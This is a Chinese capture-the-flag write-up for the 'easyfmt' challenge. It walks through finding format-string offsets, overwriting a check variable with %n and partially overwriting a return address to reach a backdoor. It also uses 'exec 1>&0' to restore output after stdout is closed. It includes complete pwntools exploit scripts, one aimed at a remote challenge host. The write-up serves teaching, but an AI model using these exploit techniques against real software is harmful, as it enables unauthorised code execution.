easyfmt--2021极客大挑战

这道题目是格式化字符串漏洞的一道题目,还涉及到了重定向。记录一下,这是可是详细讲解,不会的同学可以看一下。

我们来看一下题目内容

easyfmt--2021极客大挑战

 

 

 主函数没有什么说的,直接来看vuln函数。

easyfmt--2021极客大挑战

 

 

 题目大眼一看有两处格式化字符串漏洞。遇到这个一般是先找偏移。通常来说是先输入一串%p,通过输出的内容来数偏移。但是这里一开始只让你输入13个字符串,这咋计算呢。我这只有一个笨方法。

就是输入aaaa%1$p 从一开始一个一个试,aaaa%2$p,aaaa%3$p ......知道试到15就出现了

easyfmt--2021极客大挑战

 

 

 因为程序是32位程序,所以第一个格式化字符串漏洞的偏移就是15了,那么找到偏移我们如何利用的呢。再回到上面的vuln函数中有一个if 语句判断v3是否等于12,如果不等于12程序就直接退出了。

这里肯定是利用格式化字符串漏洞先把v3的值改成12。如何改?看到程序运行时先把v3的地址给输出出来。我们把payload先构成这样:

pl = p32(v3_addr)+'%8c%15$n'

 v3的地址你先接受一下

r.recvuntil('First step:\n')
v3_addr= int(r.recvuntil('\n'),16)

 这样我们就可以把v3的值修改成12。

接下来就可测试下一个格式化字符串的偏移。如果是直接gdb 调试我们不容易进入下一个格式化字符串那个位置。我的办法是写exp调试

from pwn import *
context.log_level = 'debug'
#context.terminal=['gnome-terminal','-x','sh','-c']
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()

p = process('./pwn')
#p = remote('123.57.230.48','12342')
elf = ELF('./pwn')
backdoor = 0x0804874d
gdb.attach(p,'b *0x08048685')
ru('First step:\n')
target = int(rud('\n'),16)
pl = p32(target)+'%8c%15$n'
success(hex(target))
sl(pl)

pl ='aaaa'+'%p%p%p%p%p%p%p%p'
sla('there',pl)


shell()

easyfmt--2021极客大挑战

 

 

 我们在第三个printf那里下一个断点。运行exp时会弹出一个终端。

easyfmt--2021极客大挑战

 

 

 输入c是继续调试。n下一步,直到执行完call printf

我们回到开始的终端页面(运行exp那个页面)

easyfmt--2021极客大挑战

 

 

 这里就可以看出第二个偏移时7了。那如何利用呢?

我还是的gdb调试

在 vuln下断点。

easyfmt--2021极客大挑战

 

 

 这是输出v3的地址。接下来我们查看栈中的内容。

easyfmt--2021极客大挑战

 

 

 我们可以看到这个地址和返回地址相差了0x10,程序给了后门函数。backdoor = 0x0804874d。我们可以发现返回地址中保存的内容也是一个地址,而且呢与后门函数长得非常相似,那么思路就来了。把返回地址中的地址的最后一字节修改成4d

这不就直接可以返回后门函数了嘛。为啥这么做呢,因为第二个scanf输入也受到了限制。只让你输入20个字符无法造成溢出。到这里还没完呢!

easyfmt--2021极客大挑战

 

 

 这里有一个close()函数。这就关闭了输入,你ls就没发用了。

0和1是linux下的文件描述符。
在Linux中一切皆文件,文件描述符(file descriptor)是内核为了高效管理已被打开的文件所创建的索引,是一个非负整数(通常是小整数),用于指代被打开的文件,所有执行I/O操作的系统调用都通过文件描述符。程序刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。如果此时去打开一个新的文件,它的文件描述符会是3。
标准输入输出的指向是默认的,我们可以修改它们的指向,也即重定位
举例子,可以用exec 1>myoutput把标准输出重定向到myoutput文件中,也可以用exec 0<myinput把标准输入重定向到myinput文件中,而且,文件名字可以用&+文件描述符来代替。
那么问题到这里就解决了,三条语句中close(1);close(2)即把标准输出和标准错误输出关闭,然后我们可以执行 exec 1>&0,也就是把标准输出重定向到标准输入,因为默认打开一个终端后,0,1,2都指向同一个位置也就是当前终端,所以这条语句相当于重启了标准输出,此时就可以执行命令并且看得到输出了

 

我们getshell时先输入一个exec 1>&0再ls

from pwn import *
# context.log_level = 'debug'

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()

# p = process('./pwn')
p = remote('123.57.230.48','12342')
elf = ELF('./pwn')
backdoor = 0x0804874d
# gdb.attach(p,'b *0x08048685')
ru('First step:\n')
target = int(rud('\n'),16)
pl = p32(target)+'%8c%15$n'
success(hex(target))
sl(pl)

pl = p32(target+0x10)+'%'+str((backdoor&0xff)-4)+'c%7$hhn'
sla('there',pl)
shell()

原exp2021极客大挑战WP集合_Ocean的博客-CSDN博客

 

上一篇:文件读取与存储


下一篇:Jsp中使用EL表达式对字符串进行操作